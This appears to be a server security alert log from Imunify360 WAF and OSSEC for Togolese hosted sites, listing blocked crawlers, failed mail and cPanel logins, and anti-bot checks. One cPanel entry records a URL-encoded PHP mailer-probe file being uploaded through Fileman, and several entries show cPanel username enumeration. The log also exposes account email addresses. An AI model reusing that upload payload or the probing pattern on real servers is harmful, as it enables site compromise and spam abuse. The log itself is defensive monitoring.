IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1708874342 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.238.63.168
country_id: 798544
description:
Jun 26 19:32:04 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.238.63.168 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 213.165.82.119
country_id: 2921044
domain: lepopulistetogo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:213.165.82.119||TA:213.165.82.119||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.162.238.161
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/977497512 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.17.183
country_id: 6251999
description:
[2026-06-26 19:36:25 +0000] info [cpaneld] 195.63.17.183 - doufelg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.122.224.216
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1076088808 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [26/Jun/2026:19:40:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790292&pdata=http%253A%252F%252Fcafeit.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782502839 HTTP/1.1" 302 0 cafeit.tg "http://cafeit.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.38.160.178
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/3c424b HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.217.186.65
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1109982781 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.218.88
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/2027462974 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.133
country_id: 1880251
description:
43.173.180.133 - - [26/Jun/2026:19:45:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791081&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fdeveloppement%25252Fextremisme-violent-au-togo-les-conducteurs-de-taxis-motos-veulent-jouer-leur-partition%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782503102 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2F24heureinfo.tg%2Fdeveloppement%2Fextremisme-violent-au-togo-les-conducteurs-de-taxis-motos-veulent-jouer-leur-partition%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.133


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.17.242.252
country_id: 2510769
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2019/09/COMMUNIQUE-CCR-AGRI.pdf HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.54.109.227
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/1353533442 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.205.181.107
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1P1A5069-scaled.webp 2560w, http:/togodailynews.tg/wp-content/uploads/2026/06/1P1A5069-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/1P1A5069-1024x683.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/1P1A5069-768x512.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/1P1A5069-1536x1024.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/1P1A5069-2048x1365.webp 2048w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.94.2.109
country_id: 241170
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/Visite-officielle-a-Bichkek-pour-le-renforcement-du-partenariat-entre-le-Togo-et-le-Kirghizistan-768x614.webp HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.53.219.169
country_id: 2077456
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:103.53.219.169||TA:103.53.219.169||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.122.192.217
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/1816711992 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.17.200
country_id: 3175395
domain: libertetogo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.239.17.200||TA:104.239.17.200||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.76.185.145
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1353648092 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.113.24.130
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/droit-de-lhomme/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.169.7
country_id: 2363686
description:
[2026-06-26 19:52:46 +0000] info [webmaild] 102.64.169.7 - hboroze@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.98.32.115
country_id: 6252001
description:
2026-06-26 19:53:55 dovecot_plain authenticator failed for H=([10.5.0.2]) [172.98.32.115]:4809: 535 Incorrect authentication data (set_id=spr@ccit.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.73.250.41
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1483723144 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 121.24.29.242
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/132434597 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.98.32.115
country_id: 6252001
description:
2026-06-26 19:54:17 dovecot_plain authenticator failed for H=([10.5.0.2]) [172.98.32.115]:48922: 535 Incorrect authentication data (set_id=spr@ccit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [26/Jun/2026:19:54:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526623&pdata=https%253A%252F%252Fportail.mesyscom.com%252Fassets%252Fimg%252Flogomesys.jpg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782503661 HTTP/2.0" 302 0 portail.mesyscom.com "https://portail.mesyscom.com/assets/img/logomesys.jpg" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.162.98.165
country_id: 3077311
description:
Jun 26 19:55:38 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.162.98.165 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.21.95.192
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/881892248 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.121.19
country_id: 6252001
domain: www.togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:152.232.121.19||TA:152.232.121.19||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.132.224.72
country_id: 2077456
description:
45.132.224.72 - - [26/Jun/2026:19:58:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974615&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782503906 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.132.224.72


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:19:58:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134746&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782503930 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.229.188.73
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1059977382 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.42.217
country_id: 1819730
description:
Jun 26 19:59:55 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.42.217 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.192.130.138
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/1692861378 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.217
country_id: 1819730
description:
2026-06-26 19:59:57 dovecot_login authenticator failed for H=217.42.246.220.static.netvigator.com (177-0-238-161.bnut3703.dsl.brasiltelecom.net.br) [220.246.42.217]:51944: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 80.83.30.19
country_id: 272103
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/egalite-du-genre-une-vision-strategique-portee-par-letat-togolais/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.165.187
country_id: 2017370
description:
Jun 26 20:00:42 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.165.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.216.165.187
country_id: 2017370
description:
2026-06-26 20:00:44 dovecot_login authenticator failed for H=([49.125.201.90]) [178.216.165.187]:58952: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.222.198.252
country_id: 2921044
description:
93.222.198.252 - - [26/Jun/2026:20:00:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854252&pdata=https%253A%252F%252Fwebmail.site.free.netmaster.tg%252F%253Flocale%253Dhe&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782504045 HTTP/2.0" 302 0 webmail.site.free.netmaster.tg "https://webmail.site.free.netmaster.tg/?locale=he" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.222.198.252


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.165.187
country_id: 2017370
description:
Jun 26 20:01:40 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.165.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.216.165.187
country_id: 2017370
description:
2026-06-26 20:01:42 dovecot_login authenticator failed for H=([178.216.165.187]) [178.216.165.187]:55586: 535 Incorrect authentication data (set_id=tech@arse.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.173.185
country_id: 1880251
description:
43.173.173.185 - - [26/Jun/2026:20:04:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263964&pdata=https%253A%252F%252F24heureinfo.tg%252Fdiplomatie%252Fterrorisme-discrete-visite-du-president-du-faso-damiba-chez-faure-gnassingbe%252Ffeed%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782504249 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/diplomatie/terrorisme-discrete-visite-du-president-du-faso-damiba-chez-faure-gnassingbe/feed/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.173.185


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 195.132.35.238
country_id: 3017382
description:
195.132.35.238 - - [26/Jun/2026:20:06:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6473622&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782504394 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Linux; arm_64; Android 14; TECNO KL5n) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.115 YaBrowser/26.4.4.115.00 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:195.132.35.238


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.205
country_id: 3469034
description:
2026-06-26 20:06:19 dovecot_plain authenticator failed for H=(localhost) [104.28.163.205]:56657: 535 Incorrect authentication data (set_id=andre.k@cafe.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:07:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134746&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782503930 HTTP/2.0" 404 159 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:07:18 +0000] "GET /favicon.ico HTTP/2.0" 415 587 togofarm.tg "https://togofarm.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134746&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782503930" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.91.157.23
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/822076852 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.62.147.79
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/817245752 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 190.14.134.18
country_id: 3595528
description:
2026-06-26 20:07:58 H=([0.0.0.0]) [190.14.134.18]:33189 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.163.89.183
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.163.89.183||TA:193.163.89.183||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.210.148.193
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/614423949 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 196.242.114.177
country_id: 6251999
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:196.242.114.177||TA:196.242.114.177||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.124.175
country_id: 2363686
description:
[2026-06-26 20:10:22 +0000] info [webmaild] 196.168.124.175 - guillaume.saguintaah@togointerim.net "GET /cpsess5281405086/3rdparty/roundcube/?_task=mail&_action=list&_refresh=1&_layout=widescreen&_mbox=INBOX.Sent&_page=1&_remote=1&_unlock=loading1782504622424&_=1782472106371 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.144.162] != Current IP Address [196.168.124.175]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.5.219.30
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/676668 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.145.76.18
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/8c8f84 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.217.138
country_id: 2750405
domain: auditeccandco.com
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:pjwfvzan||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 104.28.217.138
country_id: 2750405
domain: auditeccandco.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.23.214.199
country_id: 6252001
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:198.23.214.199||TA:198.23.214.199||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.6.23.65
country_id: 3932488
description:
[2026-06-26 20:19:10 +0000] info [cpaneld] 179.6.23.65 - camegtogo "GET /login/?login_only=1&user=camegtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.191.10.96
country_id: 3017382
description:
[2026-06-26 20:19:39 +0000] info [cpaneld] 176.191.10.96 - cam "GET /login/?login_only=1&user=cam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cam (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.94.171.6
country_id: 3469034
description:
[2026-06-26 20:19:14 +0000] info [cpaneld] 138.94.171.6 - camegtogotg "GET /login/?login_only=1&user=camegtogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegtogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.94.227.0
country_id: 3437598
description:
[2026-06-26 20:19:36 +0000] info [cpaneld] 181.94.227.0 - came "GET /login/?login_only=1&user=came&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user came (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.196.32.128
country_id: 3865483
description:
[2026-06-26 20:19:42 +0000] info [cpaneld] 168.196.32.128 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.223.89.78
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/749475468 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.94.227.234
country_id: 3437598
description:
[2026-06-26 20:19:32 +0000] info [cpaneld] 181.94.227.234 - cameg "GET /login/?login_only=1&user=cameg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cameg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 195.142.16.16
country_id: 298795
description:
195.142.16.16 - - [26/Jun/2026:20:20:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711707&pdata=https%253A%252F%252Fwebmail.whereis.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782505247 HTTP/2.0" 302 0 webmail.whereis.free.netmaster.tg "https://webmail.whereis.free.netmaster.tg/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:195.142.16.16


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.236.189.110
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/diplomatie-economique-faure-gnassingbe-porte-la-voix-du-togo-a-rome/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.94.88.30
country_id: 1149361
description:
180.94.88.30 - - [26/Jun/2026:20:21:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13081187&pdata=https%253A%252F%252Fwebmail.site.free.netmaster.tg%252F%253Flocale%253Dpt_br&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782505286 HTTP/2.0" 302 0 webmail.site.free.netmaster.tg "https://webmail.site.free.netmaster.tg/?locale=pt_br" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.94.88.30


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.233.20.138
country_id: 6251999
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.233.20.138||TA:104.233.20.138||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:21:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027950&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782505292 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.148.217
country_id: 2510769
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:92.112.148.217||TA:92.112.148.217||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.209.240
country_id: 1861060
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:161.123.209.240||TA:161.123.209.240||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.236.72
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/1076088808 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.36.110.126
